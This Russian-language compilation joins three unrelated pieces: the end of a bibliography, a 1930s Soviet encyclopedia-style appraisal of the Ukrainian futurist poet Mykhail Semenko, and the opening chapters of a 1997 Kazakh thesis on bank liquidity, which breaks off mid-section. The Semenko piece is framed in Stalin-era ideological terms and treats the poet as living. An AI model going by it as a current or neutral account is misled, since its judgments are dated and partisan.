[5] Катаев А. В. Виртуальные предприятия – новая ступень в организации
НИОКР// Стратегические аспекты управления НИОКР в условиях свободной конкуренции: Отчет по НИР №01.2.00100692. Таганрог: ТРТУ, 2001
[6] Катаев А. В. Виртуальные предприятия – новая ступень в организации
НИОКР//Стратегические аспекты управления НИОКР в условиях свободной конкуренции: Отчет по НИР №01.2.00100692. Таганрог: ТРТУ, 2001
[7] Электронная коммерция / Под ред. Реймана Л. Е. – М.:НТЦ «ФИОРД-ИНФО»,
2002.

[8] Соколова А. Н., Геращенко Н. И. Электронная коммерция: мировой и российский опыт. – М.: Открытие системы, 2000, стр. 41

Доклад: Семенко Михайль

Семенко Михайль

Ю. Иосипчук

Семенко Михайль (1892—) — современный украинский поэт. Р. в семье народного учителя. Учился в Петроградском психоневрологическом ин-те. Имя С. связано с возникновением и историей украинского футуризма. С. был одним из активных руководителей украинских футуристических группировок (кверофутуристы, аспанфуты, Коммункульт и наконец «Нова генерация»).

В ранних стихах (1910) С. находился под влиянием господствовавшей тогда модернистской поэзии. Под воздействием русского футуризма молодой С. порвал с традициями модернистской поэзии («Поворот», конец 1913). Он объявил бунт против украинского декадентства, против узкого национализма в поэзии, отрыва ее от динамики капиталистического города. Но С. обходил кричащие противоречия окружавшей его социальной действительности. Даже такие события, как империалистическая война, как революция 1917 почти не нашли отражения в его творчестве. Семенко видел, что «мир этот веселый — широкая тюрьма», но он искал убежища от угнетавших его противоречий капиталистической действительности не в борьбе, а в «гордом» одиночестве; отсюда воспевание иллюзорной свободы мелкобуржуазного «я», тяга к бунтарскому индивидуализму. Но и этот бунт против господствовавшей буржуазии, против националистической поэзии, против мещанства облекался в формы «аполитизма», выражая тем самым бессилие протеста украинской городской мелкой буржуазии против беспощадной агрессии капитализма.

Главное острие поэтики С. было направлено против традиционной поэтики украинского «просвітянства» и особенно против символизма. Классический стих он заменил свободным стихом, он ломал строфу, ввел в поэзию непривычный тогда в украинской литературе разговорный язык улицы, насытил последний прозаизмами, нарушил логичность фразы, прерывая ее неожиданно возникшими ассоциациями. Под влиянием русских футуристов С. вводил в украинскую поэтику заумь. Однако подобные выверты не нашли широкого применения в его поэтической практике, поэтика С. обогатила язык украинской дореволюционной поэзии, расширила ее рамки, освежила стилистические приемы и ритмические ходы.

В 1919 поэт дал ряд революционных футуристических поэм («Т. Сонце», «Степ», «Повстання» и др.). Впервые в его творчестве тема революции стала основной. Романтика революции, вспыхнувшей «мировым пожаром», в дыму которого начали выявляться очертания  нового мира; радость освобожденного народа, заполняющего криками, песнями, манифестациями улицы города; яркие зарисовки классовой борьбы на селе («Степ») — все это нашло свое выражение в этих поэмах. «Аполитизм» сменился энергичным призывом к борьбе за «красное знамя» против польско-петлюровских банд («Наступ»). С. прельщал гл. обр. разгром старого мира. Он не ощущал в революции железной воли пролетариата, организующего и возглавляющего борьбу с контрреволюцией. Его интересовало не социальное содержание происходящих событий и не люди, а техника. Неизжитые мотивы богемного быта принимали у него иногда порнографический характер, сказывался и прежний индивидуализм, преувеличение значимости своего «я».

Наиболее характерной чертой творчества С. восстановительного и особенно реконструктивного периода («Сучасні вірші», 1931) явился полный отход поэта от богемно-эротических тем. Его творчество публицистически заострилось. Индустриализация страны («Дніпрельстан»), новый быт («Алкоголь і соціалізм»), политические события (ряд памфлетов против националистов и др.), вопросы советской литературы и выступления против национализма («Література и життя», «Про епохи и сегодняшніх бліх» и др.) — вот главнейшие мотивы творчества С. Однако неизжитые элементы мелкобуржуазного мировоззрения сказались и в этот период творчества. Не преодолел С. полностью и отрицательного отношения к культуре прошлого — относя Шевченко к явлениям отжившим, С. противопоставил его «Кобзарю» свой, как бы современный, «Кобзар» (так назвал С. сборник своих произведений 1910—1922).

Положительным в творчестве С. данного периода была борьба против националистов в украинской литературе, против Хвильового, Курбаса, Кулиша и др. Но острие этой борьбы было направлено гл. обр. против их творческого метода, против их мещанства и ограниченности. С. выступал и против националистов как таковых, но часто по-делячески, с мелкобуржуазных позиций. Боролся С. и против творческих позиций советских литературных организаций (ВУСПП, «Молодняк») и советской критики, хотя и называл себя их «другом». Поэтический язык этого времени «очищался» им от образности; выхолащивалась эмоциональность и усиливался рационализм, риторика. Некоторые стихи трудно даже считать поэзией, они напоминают газетную хронику. Те же идейно-творческие позиции характеризуют и сборник стихов С. за 1930—1931 «З радянського щоденника».

В настоящее время С. переживает творческий кризис. Советская литература, в рядах которой пребывает поэт, требует от него решительной перестройки. После постановления ЦК ВКП(б) в 1932 С. издал маленький сборник стихов «Міжнародні діла» (6 поэм и стихов, 1933), свидетельствующий об очень медленной и пока слабой перестройке поэта. Поэт, не отказываясь от злободневной тематики, стал на путь ее большего обобщения, стал отходить от газетной хроники. Отдельные лучшие его  произведениях (как «Безпритульні птиці» и частично «Джон і т. Джекобсон») не дают еще основания говорить о глубокой идейно-творческой перестройке поэта.

Список литературы

 I. Кверо-футурізм. Поезо-пісні, Київ, 1914

 Кобзар (Повний збірник поэтичних творів в одному томі, 1910—1922), вид. «Гольфштром», Київ, 1924

 Маруся Богуславка (Лірична драма), вид. «Книгоспілка», 1927

 Малий кобзар і нові вірші, «Пролетар», Харків, 1928

 Повна збірка творів, Харків, 1929

 Европа й Ми. Памфлети й вірші (1928—1929), «Книгоспілка», Харків, 1930

 З радянського Щоденника. Поззії. 1931—1903, «ЛіМ», Харків, 1930

 Сучасні вірші, «ЛіМ», Харків — Київ, 1931

 Поезії, «Рух», Київ, 1932

 Міжнародні діла. Публіцистичні вірші 1932—33 р., «Укр. робітник», Харків, 1933.

II. Коваленко В., Літературна клоунада, «Молодняк» (Харків), 1927, № 5

 Кулик Ів., Конечна умова, «Коммунист», ЦОКПбУ, 1930, 14/IV

 Микитенко І., «Ліве» шахрайство, в брошюре Микитенко «За гегемонию пролетарсвкоі літератури», (Харкив), 1930

 Хвиля А., Українська радянська поэзія, (Харків), 1934, стр. 14—15.

III. Лейтес А. і Яшек М., Десять років українськоі літератури (1917—1927), т. I, ДВУ, Харків, 1923

 Шпілевич В., Бібліографія української літератури та літературознавства за 1928 рік, ДВУ, Харків — Київ, 1930.

Для подготовки данной работы были использованы материалы с сайта http://feb-web.ru/

Диплом: Ликвидность и платежеспособность банка

Министерство образования Республики Казахстан

Казахская Государственная Академия Управления

Учебно-научный комплекс “Финансы и кредит”

Кафедра организации банковского дела

 

Ф.И.О. студента:

Ахметова А.Е.

 

 

 

Дипломная работа

на тему: “Ликвидность и
платежеспособность банка”

 

Научный руководитель: старший преподаватель кафедры ОБД,

Корнилова Л.П.

Рецензент: к.э.н., доцент

Абдрахманова Г.А.

Работа допущена к защите: зав. кафедрой ОБД, д.э.н., профессор

Хамитов Н.Н.

Алматы, 1997

ПЛАН ДИПЛОМНОЙ РАБОТЫ:

Введение

Глава 1. Управление ликвидностью и платежеспособностью коммерческого банка

1. Управление ликвидностью коммерческого банка

1.1. Потребность коммерческого банка в ликвидных средствах

1.2. Теория управления ликвидностью коммерческого банка

1.2.1. Управление активами

1.2.2. Управление пассивами

2. Управление платежеспособностью и регулирование деятельности коммерческого банка Национальным банком

2.1. Теория управления платежеспособностью

2.2. Функции Национального банка Республики Казахстан, направленные на поддержание платежеспособности банковской системы

2.3. Управление надежностью коммерческого банка

Глава 2. Оценка ликвидности баланса и анализ платежеспособности коммерческого банка

1. Оценка ликвидности баланса коммерческого банка

1.1. Механизм управления ликвидностью

1.2. Коэффициенты ликвидности

1.3. Расчет коэффициентов ликвидности для Алматинского управления Туранбанка и их анализ

2. Расчет пруденциальных нормативов на примере Алматинского управления Туранбанка и их анализ

3. Анализ надежности банковской системы Республики Казахстан

Глава 3. Рекомендации по повышению ликвидности и платежеспособности банка

Заключение

Список литературы

Приложения

Введение

Во введении к данной дипломной работе можно сказать, что проблема ликвидности коммерческих банков стоит очень остро в условиях переходной экономики во многих странах СНГ, в том числе и в Казахстане.

Если проанализировать развитие банковской системы в Республике Казахстан, то можно сказать, что с января 1995 года началось количественное сжатие банковской системы, основной целью которого явилось повышение надежности банковской системы республики. Сжатие банков достигалось путем ужесточения требований Национального банка, усиления конкуренции между банками. Основной задачей Национального банка стало качественное улучшение деятельности всех банков и формирование групп (10-15 банков), приближающихся к мировым стандартам.

На 1 января 1995 года было зарегистрировано 237 банков, из них 25 имели генеральную валютную лицензию, по размеру уставного фонда они относились к самым крупным банкам республики. Из общего числа только 8 банков имели уставной фонд от 5 млн. долларов и выше.

На 1 марта 1995 года в республике действовало 178 банков, а на 1 июня 1995 года — 167 банков. Уставной фонд банков, зарегистрированных на 1 июня 1995 года составил 7,2 млрд. тенге, собственный капитал — 8,2 млрд. тенге.

На 1 сентября 1995 года действовало уже 147 банков, из которых 83 были сосредоточены в Алматы.

К началу 1995 года Национальный банк широко использовал механизм пруденциальных нормативов. В настоящее время Национальный банк контролирует выполнение следующих нормативов:

Минимальный уставной фонд.

Достаточность капитала.

Максимальный риск на одного заемщика.

Коэффициент ликвидности.

Резервные требования.

Валютная позиция.

Достаточность средств на приобретение основных средств.

Выполнение или невыполнение нормативов является основным критерием оценки деятельности банков. За период с 1993 по 1995 год были отозваны лицензии на проведение банковских операций у 80 банков за невыполнение ими нормативных требований.

В конце 1995 года процесс ликвидации переживали 62 банка. На конец 1995 года в Казахстане действительно ликвидировано только 6. В некоторых случаях эта процедура тянулась даже 2 года.

Национальный банк как орган государственного регулирования прилагал усилия к тому, чтобы придать нужное направление к происходящим изменениям в банковском секторе. Некоторые процессы уже не идут так стихийно, такие, например, как слияние банков, которому создается режим благоприятствования. По ряду банков в соответствии с законодательством, возможно, будет введен режим консервации.

Достаточно длительное время находился в режиме санации один из крупнейших, так называемых, “бывших” банков — Агропромбанк. Судя по нынешнему состоянию банка санация дала необходимые результаты, банк осуществляет расчетно-кассовое обслуживание и пытается вернуть потерянных клиентов.

Но, как показали события 1996 года, процедура санации не всегда приводит к удовлетворительным результатам и от банкротства не застрахованы даже крупнейшие казахстанские банки, не говоря о средних и мелких.

Итогом всего вышеперечисленного является то, что количество банков второго уровня на декабрь 1996 года составляло 106 и имеется тенденция к дальнейшему сокращению их количества, что возможно приведет к улучшению качества их работы, а также повысит надежность и ликвидность банковской системы в целом.

На 1 марта 1997 года в республике функционировало 100 банков второго уровня. Из них 4 государственных, 1 межгосударственный, 7 банков с иностранным участием. Национальный банк продолжает банковско-надзорную работу как в области дистанционного надзора, т.е. контроля за выполнением пруденциальных нормативов по предоставляемой банками отчетности, так и внутри банков с помощью банковских инспекций. За систематическое нарушение установленных Нацбанком пруденциальных нормативов и других норм, в феврале этого года у 7 банков были аннулированы лицензии на проведение отдельных банковских операций. В черный список вошли АПБ “Казпочтабанк”, АБ “Сары-Арка банк”, ЧБ “Жалгас”, ОАО “Игилик-банк”, АБ “Ак-тобе”, ЗАО “Алга-банк”, АБ “Цветметбанк”. Также за нарушение нормативных актов и невыполнение предписаний Нацбанка уже в марте были отозваны разрешения на открытия и аннулированы лицензии на проведение банковских операций у следующих акционерных банков — “Алтындан банк”, “Паритет”, “Казтрансбанк”.

Кроме того необходимо отметить недоверие населения страны к коммерческим банкам. Поэтому способность удовлетворять обязательства перед клиентами в любое время является немаловажным фактором в конкурентной борьбе.

Ситуация на финансовом рынке осложняется тем, что все нарастающая неспособность коммерческих банков осуществлять платежи, выдавать долгосрочные кредиты для развития реального капитала неизбежно отразится на платежеспособности предприятий и спровоцирует дальнейший спад производства. В обстановке экономического спада коммерческие банки работают в области повышенного риска. Об этом свидетельствует наиболее распространенные причины банкротства банков:

неудачные поиски участников нового капитала;

предоставление “плохих” кредитов;

коррупция в рядах верхнего менеджмента;

неквалифицированное руководство, не умеющее вовремя распознать риск потери активов;

рост банковских издержек;

превышение возможностей над спросом;

некачественный анализ информации о ситуации на финансовом рынке и клиентах банка.

Общая социально-экономическая и политическая обстановка в Республике Казахстан привела к крайней неустойчивости финансового рынка, что породило все разрастающийся процесс банкротства банков. События последнего времени на финансовом рынке Казахстана подтверждают правильность выводов специалистов Всемирного банка, которые еще в 1992-1993 годах предупреждали, что коммерческие банки в Республике Казахстан неизбежно столкнутся с двумя проблемами: ликвидностью и портфелем активов.

Таким образом, учитывая все вышесказанное, а также тенденции развития банковской системы, направленные к количественному сжатию с целью повышения надежности, можно сказать, что необходимость в управлении ликвидностью и платежеспособностью возрастает с каждым днем.

Задачи дипломной работы:

Рассмотреть теорию управления ликвидностью коммерческого банка.

Провести оценку ликвидности балансов коммерческих банков РК.

Проанализировать надежность и платежеспособность банков.

Выявить потенциал в сфере повышения ликвидности, платежеспособности и надежности банков.

Цели дипломной работы:

Проанализировать балансы банков.

Сделать сравнительный анализ ликвидности балансов.

Рассмотреть выполнение пруденциальных нормативов.

Провести анализ надежности банков Республики Казахстан.

Составить рейтинг банков Республики Казахстан.

Глава 1. Управление ликвидностью и платежеспособностью коммерческого банка

1. Управление ликвидностью коммерческого банка

1.1. Потребность коммерческого банка в ликвидных средствах

Понятие ликвидности

Термин “ликвидность” (от лат. Liquidus — жидкий, текучий) в буквальном смысле слова означает легкость реализации, продажи, превращения материальных ценностей в денежные средства.

Понятие ЛИКВИДНОСТЬ коммерческого банка означает возможность банка своевременно и полно обеспечивать выполнение своих долговых и финансовых обязательств перед всеми контрагентами, что определяется наличием достаточного собственного капитала банка, оптимальным размещением и величиной средств по статьям актива и пассива баланса с учетом соответствующих сроков.

Иными словами, ликвидность коммерческого банка базируется на постоянном поддержании объективно необходимого соотношения между тремя ее составляющими – собственным капиталом банка, привлеченными и размещенными им средствами путем оперативного управления их структурными элементами.

С учетом этого в мировой банковской теории и практике ликвидность принято понимать как “запас” или как “поток”. При этом ликвидность как “запас” включает в себя определение уровня возможности коммерческого банка выполнять свои обязательства перед клиентами в определенный конкретный момент времени путем изменения структуры активов в пользу их высоколиквидных статей за счет имеющихся в этой области неиспользованных резервов.

Ликвидность как “поток” анализируется с точки зрения динамики, что предполагает оценку способности коммерческого банка в течение определенного периода времени изменять сложившийся неблагоприятный уровень ликвидности или предотвращать ухудшение достигнутого, объективно необходимого уровня ликвидности (сохранять его) за счет эффективного управления соответствующими статьями активов и пассивов, привлечения дополнительных заемных средств, повышения финансовой устойчивости банка путем роста доходов.

Таким образом, каждый коммерческий банк должен самостоятельно обеспечивать поддержание своей ликвидности на заданном уровне на основе как анализа ее состояния, складывающегося на конкретные периоды времени, так и прогнозирования результатов деятельности и проведения в последующем научно обоснованной экономической политики в области формирования уставного капитала, фондов специального назначения и резервов, привлечения заемных средств сторонних организаций, осуществления активных кредитных операций.

Кроме того, деятельность коммерческих банков, выступающих посредниками между теми, кто располагает денежными средствами в виде сбережений, и теми, кто в них нуждается, заключается в том, чтобы рационально привлекать эти средства и предоставлять их в ссуду либо инвестировать по более высоким ставкам для обеспечения общей доходности, в том числе получения прибыли.

Для осуществления операционной деятельности, связанной с привлечением денежных средств и их размещением в условиях рыночной неопределенности будущего спроса и поступлений наличных средств за определенный период, банку нужны средства в их ликвидной форме, т.е. такие активы, которые могли бы быть легко и быстро превращены в наличные деньги с небольшим риском потерь или вообще без него.

Таким образом, ликвидность коммерческого банка – это возможность использовать его активы в качестве наличных денежных средств или быстро превращать их в таковые.

Коммерческий банк считается ликвидным, если суммы его наличных средств и других ликвидных активов, а также возможности быстро мобилизовать средства из других источников достаточны для своевременного погашения долговых и финансовых обязательств. Кроме того, ликвидный резерв необходим для удовлетворения практически любых непредвиденных финансовых нужд: заключения выгодных сделок по кредиту или инвестированию; на компенсирование сезонных и непредвиденных колебаний спроса на кредит, восполнение средств при неожиданном изъятии вкладов и т. д.

В отечественной экономической литературе, в отличие от установившейся международной банковской терминологии, подчас смешиваются два понятия — ликвидность баланса банка и платежеспособность последнего, что в последующем приводит к отождествлению методов и способов поддержания ликвидности и платежеспособности кредитных институтов. Если первое в большей степени дело самого банка и он самостоятельно выбирает в конкретных условиях те или иные способы поддержания своей ликвидности на уровне установленных норм, то второе, как правило, относится к функциям государства в лице Центрального банка.

Итак, банк считается ликвидным, если суммы его денежных средств, которые банк имеет возможность быстро мобилизовать из иных источников, позволяют своевременно выполнять обязательства по пассиву. Необходимо подчеркнуть, что в целях поддержания своей стабильности банк должен иметь определенный ликвидный резерв для выполнения непредвиденных обязательств, появление которых может быть вызвано изменением состояния денежного рынка, финансового положения клиента или банка партнера.

Ликвидность баланса.

Баланс считается ликвидным, если его состояние позволяет за счет быстрой реализации средств по активу покрывать срочные обязательства по пассиву. Возможность быстрого превращения активов банка в денежную форму для выполнения его обязательств предопределяется рядом факторов, среди которых решающим является соответствие сроков размещения средств срокам привлечения ресурсов. Иначе говоря, каков пассив по сроку, таким должен быть и актив; тогда обеспечивается равновесие в балансе между суммой и сроком высвобождения средств по активу в денежной форме и суммой и сроком предстоящего платежа по обязательствам банка.

На ликвидность баланса банка влияет структура его активов: чем больше доля первоклассных ликвидных средств в обшей сумме активов, тем выше ликвидность банка. Активы банка по степени их ликвидности можно разделить на три группы: 1. Ликвидные средства, находящиеся в немедленной готовности, или первоклассные ликвидные средства. В их числе — касса, средства на корсчете, первоклассные векселя и государственные ценные бумаги. 2. Ликвидные средства в распоряжении банка, которые могут быть превращены в денежные средства. Речь идет о кредитах и других платежах в пользу банка со сроками исполнения в ближайшие 30 дней, условно реализуемых ценных бумагах, зарегистрированных на бирже (как и участие в других предприятиях и банках), и других ценностях (включая нематериальные активы). 3. Неликвидные активы — это просроченные кредиты и ненадежные долги, здания и сооружения, принадлежащие банку и относящиеся к основным фондам.

В международной банковской практике самой ликвидной частью активов считается кассовая наличность, под которой понимаются не только деньги в кассе, но и денежные средства, находящиеся на текущем счету данного кредитного института в Центральном банке. Ликвидными статьями в странах рыночной экономики считаются первоклассные краткосрочные коммерческие векселя, которые банк может переучесть в Центральном банке, ценные бумаги,, гарантированные государством. Менее ликвидными являются банковские инвестиции в долгосрочные ценные бумаги, так как их реализация за короткий срок не всегда возможна. Как трудноликвидные активы рассматриваются долгосрочные ссуды и вложения в недвижимость.

Кроме того, ликвидность банка зависит от степени риска отдельных активных операций: чем больше доля высокорисковых активов в балансе банка, тем ниже его ликвидность. Так, в сложившейся практике к надежным активам принято относить наличные денежные средства, а к высокорисковым — долгосрочные вложения банков. Степень кредитоспособности заемщиков банка оказывает существенное влияние на своевременный возврат ссуд и тем самым на ликвидность баланса банка: чем больше. доля высокорисковых кредитов в кредитном портфеле банка, тем ниже его ликвидность. Ликвидность зависит также от структуры пассивов баланса. Если по вкладам до востребования вкладчики вправе потребовать деньги в любой момент, то срочные вклады находятся в распоряжении банка более или менее длительный период, и, следовательно, при прочих равных условиях повышение удельного веса вкладов до востребования и понижение, доли срочных вкладов снижает банковскую ликвидность. Надежность депозитов и займов, полученных банком от других кредитных учреждений, также оказывает влияние на уровень ликвидности баланса.

Ликвидность баланса банка оценивается при помощи расчета специальных показателей, которые отражают соотношение активов и пассивов, структуру активов. В международной банковской практике чаше всего в этих целях используются коэффициенты ликвидности. Последние представляют собой соотношение различных статей актива баланса кредитного учреждения с определенными статьями пассива или, наоборот, пассивов с активами. Показатели ликвидности в разных странах имеют различные названия, неодинаковые методики их исчисления, что связано со сложившейся практикой. и традициями зависят от специализации и величины банков, проводимой политики в области кредита и ряда других обстоятельств. Обычно для оценки ликвидности применяются коэффициенты краткосрочной и среднесрочной ликвидности; они исчисляются как отношение краткосрочных ликвидных активов или среднесрочных активов к соответствующим по срокам пассивам. В ряде стран рыночной экономики банки обязаны поддерживать коэффициенты ликвидности не ниже определенного уровня, называемого нормой ликвидности.

Нормы ликвидности в одних странах устанавливаются органами банковского и валютного контроля, в других — банковским законодательством; их величина определяется с учетом накопленного опыта и конкретных местных условий. В нашей стране в целях контроля за ликвидностью коммерческих банков в 1989 г., после шестидесятилетнего перерыва, также были введены нормы ликвидности. Оценка уровня ликвидности банка достигается путем сопоставления значения коэффициентов ликвидности конкретного банка с установленными нормами. Поддержание ликвидности на требуемом уровне осуществляется при помощи проведения определенной политики банка в области пассивных и активных операций, вырабатываемой с учетом конкретных условий денежного рынка, специфики клиентуры, особенностей выполняемых операций, возможностей выхода на новые рынки и развития банковских услуг.

Потребность коммерческого банка в ликвидных средствах

В практике мирового банковского дела пока не найдено всеобъемлющей формулы или набора нормативов, которые бы достаточно точно определяли потребность коммерческих банков в необходимых ликвидных средствах.

Руководство банков постоянно уделяет большое внимание вопросам ликвидности, однако до сих пор нет доступной и повсеместно приемлемой формулы для определения потребностей банка в ликвидных средствах. Необходимая сумма ликвидности отдельно взято банка зависит от колебаний общей суммы вкладов и спроса на кредит.

В свою очередь, эти колебания зависят от положения в экономике той или иной страны, где постоянно происходят изменения: программно-целевые, случайные, сезонные, циклические, долговременные и др.

Примерами программно-целевых событий могут служить сегодняшняя экономика Республики Казахстан и ее экономическая политика, проводимая при переходе к рыночным отношениям во всех сферах народного хозяйства, включая банковскую, финансовую и денежно-кредитную.

Случайные изменения и их масштабы трудно предсказать, поскольку они не следуют какой-то устоявшейся схеме, однако они, безусловно, воздействуют на уровень вкладов и потребности в кредитах. Примерами случайных событий могут служить забастовки, последствия таких катастроф, как землетрясение, наводнение, паника в период войны, а так некоторые неординарные экономические или политические действия.

Сезонные изменения, прямо связанные со сменой сезонов, отличаются от случайных тем, что повторяются ежегодно. Со временем привычная для сезона ситуация может несколько меняться. Банк, расположенный в сельской местности, сталкивается с ростом вкладов осенью после сбора урожая и с большим спросом на кредит весной. Потребность в кредитах на строительство в летние месяцы обычно выше, чем зимой. Фактором, определяющим сезонность, является, безусловно, погода, но влияют также и традиции: примером может служить увеличение розничных продаж в декабре накануне рождества.

Циклические изменения еще труднее предвидеть, чем сезонные. В период спада деловой активности спрос на кредиты и вклады сокращаются.

Однако окончательное влияние на банковскую систему РК в целом будет зависеть от действий Национального банка по осуществлению денежно-кредитной политики.

Долговременные колебания или тенденции действуют в течение более длительного периода, чем отдельный экономический цикл. Они могут охватывать несколько циклов и являются результатом таких краткосрочных и долгосрочных факторов, как сдвиги в потреблении, сбережениях, инвестиционном процессе, численности населения и занятых, техническом уровне производства.

Совершенно очевидно, что на уровень банковских вкладов влияют многие экономические факторы, которые делают планирование ликвидности крайне необходимым.

В расчетах потребности в ликвидных ресурсах на тот или иной период банк может исходить из ожидаемых изменений уровня вкладов и кредитов относительно данного базисного периода. На динамику ликвидности или излишка резервов влияют три фактора:

приобретение или утрата средств в связи с увеличением или уменьшением вкладов;

то же в связи с ростом или сокращением кредитов и/или инвестиций;

увеличение или уменьшение величины обязательных резервов вследствие роста или сокращения вкладов.

Расчет потребности в ликвидных ресурсах условного банка показан в таблице №1.

Потребность в ликвидных ресурсах может быть рассчитана на любой желаемый период. Согласно таблице, поступление дополнительных фондов ожидается в первом квартале года, однако в оставшееся время банку потребуется приложить больше усилия, чтобы привлечь средства для покрытия потребности в ликвидных ресурсах. Эти потребности связаны преимущественно с ожидаемым увеличением спроса на кредит, а не с изъятием вкладов. Надо отметить, что рост вкладов к концу года требует увеличения обязательных резервов, компенсирующего высвобождение этих фондов в начале года.

Если бы можно было вполне точно предсказать изменения суммы вкладов и спроса на ссуды и инвестиции, то проблема определения необходимых ликвидных средств значительно упростилась бы. Несмотря на сложность задачи, банки должны пытаться прогнозировать объем вкладов и кредитов.

Крупные банки осуществляют прогнозирование двумя основными методами.

Один из них предполагает анализ потребностей в кредите и ожидаемого уровня вкладов каждого из ведущих клиентов. Этим методом обычно пользуются служащие отдела по оценке кредитоспособности: каждый готовит прогноз по своей группе счетов. Ответственность за координацию и сведение этих прогнозов несут экономический отдел, отдел контролера, отдел казначея или специальная группа работников, отвечающих за планирование.

Другой метод подсчета объема ссуд и вкладов – прогнозирование источников и использование совокупных инвестиционных фондов страны. Расчеты делаются для частного и государственного секторов экономики с использованием, как правило, эконометрических методов прогнозирования. Оценка потребностей частного сектора сравнивается с оценкой поступления средств. Тогда общую потребность в 6анковских кредитах можно определить как разницу между потребностями в средствах и их поступлениями, так что конкретный банк может подсчитать долю на рынке кредита. Этот метод используется главным образом крупными банками, поскольку небольшие банки обычно не располагают квалифицированным персоналом для осуществления столь сложных расчетов.

Прогнозируя уровень вкладов и ссуд, эти банки полагаются в основном на свой прошлый опыт. Масштабы возможных колебаний в уровне вкладов и кредитов часто могут подсказать графики и таблицы среднемесячных данных за несколько лет или за период экономического цикла.

Но каким бы ни был банк, крупным или небольшим, при прогнозировании его потребностей в ликвидных ресурсах необходимо учитывать как местные, так и общенациональные аспекты. На местном уровне во внимание принимаются в первую очередь вид, источник и степень стабильности вкладов. Принято считать, что сберегательные вклады более стабильны по сравнению со срочными вкладами, а срочные вклады – по сравнению с вкладами до востребования. Это, как правило, справедливо в отношении отдельных счетов, но не всегда верно, когда речь идет о совокупных вкладах банка. Вклады до востребования, состоящие из множества небольших и средних счетов, в целом более стабильны, чем те же вклады, но состоящие из счетов нескольких крупных деловых фирм или индивидуальных вкладчиков, потому что совпадения колебаний остатков на счетах более вероятно лишь для очень немногих деловых фирм.

Причиной сезонных колебаний вкладов и кредитов служит главным образом недостаточная диверсификация экономической деятельности в районе операций банка. Не редкость, когда экономика отдельного района почти полностью зависит от одной или немногих отраслей, производящих родственные товары.

Хотя большинство банков в РК относится к категории мелких предприятий и осуществляет операции в пределах ограниченного экономического района, на их деятельность влияют и факторы, возникающие далеко за его пределами. Например, меры денежно-кредитной и налоговой политики ощущаются сначала в крупных центрах денежного рынка, но рано или поздно они затрагивают все банки. Ни один банк, как бы мал и отдален он ни был, не может избежать воздействия политики денежно-кредитной рестрикции. Следовательно, руководство каждого банка должно быть в курсе общенациональных тенденций, когда банковская система и каждый отдельный банк сталкиваются с ограниченностью свободных средств, необходимых для предоставления новых кредитов. Проблема ликвидности может стать при этом критической, поскольку спрос на кредит в этот момент по темпам роста обычно обгоняет вклады. Процентные ставки могут вырасти до необычайно высокого уровня. Если банк располагает достаточной ликвидностью для удовлетворения спроса на кредит, он может с выгодой использовать высокий ссудный процент и увеличить тем самым свою прибыль. Если же ликвидных средств мало, банк вынужден будет или отказаться в предоставлении кредитов, обещавших высокую прибыль, или же реализовать менее ликвидные ценные бумаги с потерей на курсе, чтобы покрыть спрос на кредит со стороны своих клиентов.

Таким образом, очевидно, что на уровень банковской ликвидности влияют многие экономические и другие факторы, в связи с чем вопросы расчетов, планирования и управления становятся важнейшими направлениями в деятельности коммерческих банков.

На основании этих факторов, формирующих политику, стратегию и повседневную деятельность коммерческих банков, исторически зарождалась, развивалась и совершенствовалась теория и практика управления банковской ликвидностью.

1.2. Теория управления ликвидностью коммерческого банка

Теории управления банковской ликвидностью появились практически одновременно с организацией коммерческих банков. В настоящее время различают четыре особые теории: коммерческих ссуд, перемещения, ожидаемого дохода — они связаны с управлением активами и теория управления пассивами.

Ответственные за управление состоянием ликвидности сотрудники банка вряд ли отдают себе отчет в том, что в своей практической деятельности они претворяют одну из теорий ликвидности. На практике в той или иной степени используются все теории, но в разных банках одной из них придается большее значение.

В управлении состоянием ликвидности можно выделить два крайних направления. Одно из них – политика пристального контроля за резервами. Она сводится к тому чтобы не допустить наличия в банке средств, не приносящих доходы, т.е. фактически любого избытка средств относительно потребностей в них. Другая противоположность – политика постоянного поддержания резервов на уровне, достаточном для удовлетворения требований о нормах обязательных резервов и в пиковые периоды роста депозитов. Большинство банков придерживается некоторой середины. Все крупные банки находят выгодным строго контролировать наличные средства, и мелкие банки все больше осознают тот вклад, который может внести умелое управление кассой в обеспечение общей прибыльности операций.

Первой задачей планирования потребностей в ликвидных средствах является управление наличными деньгами, т.е. поддержание уровня обязательных резервов и обеспечение запаса банкнот и монет, достаточного для удовлетворения потребностей клиентов. Учитывая, что сумма денег в кассе банка в течение его рабочих часов постоянно меняется по мере притока и отлива денег в результате многочисленных сделок, эта задача столь же трудна, как и важна. Касса не приносит дохода, следовательно, задачей руководства банка будет поддержание кассы на минимально допустимом уровне.

Управление наличностью предполагает выполнение банком множества расчетов и составление отчетов для Национального банка, в том числе ежедневный отчет “Наличие денежных средств в кассе”.

Как уже говорилось, теория управления ликвидностью появилась и развивалась практически одновременно с организацией и развитием коммерческих банков. Первоначально вопрос о банковской ликвидности имел два теоретических подхода. Первый подход был основан на том, что структура активов банка по срокам должна точно соответствовать структуре его пассивов, а это практически исключало возможность проведения коммерческими банками активной политики управления своей ликвидностью. На данной теоретической основе было выработано так называемое золотое банковское правило, состоящее в том, что величина и сроки финансовых требований банка должны соответствовать размерам и срокам его обязательств.

Второй подход базировался на реальном несоответствии структур активов и пассивов баланса, поскольку ни один даже самый мощный коммерческий банк не застрахован от последствий финансово-кредитных явлений, постоянно происходящих в социально-экономических системах: экономических кризисов, банкротств, неплатежей по ссудам, конъюнктуры спроса и предложений на рынках ссудных капиталов денежных средств, ценных бумаг и других проявлений несбалансированности рыночных отношений. Такие явления наиболее характерны для стран, осуществляющих переход от планово-централизованной к рыночной экономике.

Все вышеуказанные и другие сложности, реально возникавшие на различных этапах развития или преобразования социально-экономических систем, требовали постоянной заботы банковского руководства о поддержании определенного уровня ликвидности. Обеспечение этого базисного условия устойчивой деятельности коммерческих банков вызвало объективную необходимость решить проблему ликвидности через возможность управления структурой баланса, т.е. возможность управления активами и пассивами коммерческих банков.

В процессе эволюционных преобразований социально-экономических систем, усложнения и совершенствования мировой практики банковского дела второй подход к вопросу ликвидности коммерческих банков получил дальнейшее развитие по двум основным направлениям: теории управления активами и теории управления пассивами коммерческих банков.

1.2.1. Управление активами

Как уже говорилось выше, к управлению активами банка можно подойти с точки зрения рассмотрения трех различных теорий:

Теория коммерческих ссуд

